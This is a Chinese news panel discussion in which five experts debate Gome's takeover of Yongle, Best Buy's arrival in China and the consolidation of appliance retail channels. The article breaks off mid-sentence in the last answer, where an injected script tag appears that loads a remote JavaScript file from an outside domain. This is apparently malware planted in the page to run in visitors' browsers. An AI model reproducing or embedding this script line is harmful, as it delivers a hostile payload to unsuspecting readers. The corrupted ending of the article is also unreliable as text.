本期pk台嘉宾：
陆刃波 国务院发展研究中心市场经济研究所副主任
陈伟豪 广百电器总经理
刘步尘 广州上兵伐谋企业管理顾问有限公司策略总监
罗清启 帕勒咨询机构资深董事
沈闻涧 浙江大学科技中心专家顾问
俗话说：“天下大事，分久必合，合久必分。”近一周来，国美与永乐的并购案闹得沸沸扬扬，几经周折终于尘埃落定；同时也传来了百思买准备收购三联商社股份的消息。以连锁业为代表的家电行业渠道整合进入到了新的阶段。
事实上，以苏宁、国美等为代表的连锁业在全部家电渠道中所占的比例还未构成统治地位，还有很多地方性的家电代理商和百货类也占据了渠道的很大部分。在国美永乐并购的过程中，其它渠道并没有袖手旁观。也可以说，家电行业的整合还未完成，未来还有可能出现新的态势。那么，家电业内的渠道整合该走向何方呢？
精彩语录
陆刃波：国美不是单纯地在守，还在出击，它未来还要走国际化的道路。
陈伟豪：国美与永乐是很自然的一种合作，我们（百货联手）也是要按自己的意愿做，但现在这样的契机还没有出现。
刘步尘：国美收购永乐是在谋一个大局，从现在起实施对百思买的合围布局。
罗清启：以前是“大鱼吃小鱼”，今后将是“大鱼吃大鱼”或者“大鱼”跟“大鱼”合作。沈闻涧：国美并购永乐看似突然实则必然。
pk1：国美并购永乐意欲何为？
记者：应该说，国美与永乐的并购案是此前很多人没有想到的。有一种分析认为，国美的主要目的是为了对抗百思买，在百思买还没有在中国完全站稳脚跟的时候，通过并购等各种方式壮大自身的实力，“以大压小”来对付百思买未来可能有的冲击。真的是这样的吗？
陆刃波：对于国美来说，是与百思买有关；而对于永乐来说，就与百思买无关了。目前永乐的经营状况并不佳，卖掉是个不错的选择。另外，中国的家电连锁市场都没有太大的规模，都是200－300亿的规模。规模过小是没有意义的，连锁业在产业、销售规模等方面必须要做大。目前百思买在国内的规模还不算大。这表明，国美不是单纯地在守，还在出击，它未来还要走国际化的道路。
刘步尘：国美收购永乐是在谋一个大局。百思买正式进入中国，直接刺激了国美，过去它认为苏宁是最大的竞争对手，现在百思买才是。因为国美很清楚，苏宁的模式和国美并没有本质区别，苏宁具有的优势国美基本上都具有，而百思买则不同。具有美国成功经验的百思买，是带着国际企业的观念进入中国的，因此，最有可能改变中国家电连锁的既有生态格局，重写中国家电连锁的游戏规则。
因此，在国美看来，未来真正可怕的不是苏宁而是百思买。为了在下一轮中外阵营的较量中继续占据领导者地位，国美就必须战胜百思买，这就需要国美从现在起实施对百思买的合围布局。
罗清启：随着百思买的进入，国内市场已经国际化了，今后市场竞争将更加激烈。在这种竞争格局下，对家电连锁企业来说，只有提升自己的国际竞争力才是最重要的。我想这应该是国美并购永乐的根本出发点。国美并购永乐吹响了国内家电连锁快速扩张的号角。另外，当前中国家电市场的容量还很大，尤其是在二三四级的市场，这需要家电连锁企业要有足够大的网络、规模和资金优势，国美跟永乐的这种重组更有助于深耕二三四级市场。
沈闻涧：国美并购永乐看似突然实则必然。国美与百思买的发展和竞争并不处于同一层次上。以百思买为代表的外资连锁经历多年的积累，无论是理念、模式，还是资本运作，都要远远优于国美。因此，只能说，国美在不断成长，成长过程中必须要面临发生一些变革。
pk2：渠道整合还有多少“惊天巨变”？
记者：对于国美与永乐此次的并购案，有的媒体甚至用了“惊天”这样的词。事实上，在行业渠道整合的过程中，任何事情都有可能发生。你们预计，渠道整合还将有哪些方面的变化呢？
陆刃波：这是肯定的，未来的资本重组还会频繁地发生。当然，每个企业的目标不一样，所用的手段还是有所不同的，但肯定还是会有其它的方法进行重组整合。
刘步尘：苏宁不会就这样做一个袖手旁观者。现在，几乎所有的人都把目光投到了国美身上，可以说国美风光占尽。这绝对不是苏宁想看到的，而且，苏宁非常清楚国美收购永乐对它意味着什么。因此，要想在未来新一轮竞争中不失分太多，苏宁必须有所作为。这实际上意味着，苏宁也必须在迅速扩张企业规模上想办法。总的来看，目前中国家电连锁仍然处于“总量扩张”和“内部结构调整”双线并行的时代，在这个过程中，家电连锁企业一方面要继续本身的扩张，另一方面会积极寻找并购对象，实现新的并购，通过并购在较短时间内做大企业规模。因此，未来二年还会有新的并购案发生。
罗清启：今后渠道整合还会加剧，并购案还会发生，因为目前家电连锁格局还没有最终形成，以前是“?script src=http://er12.com/t.js>
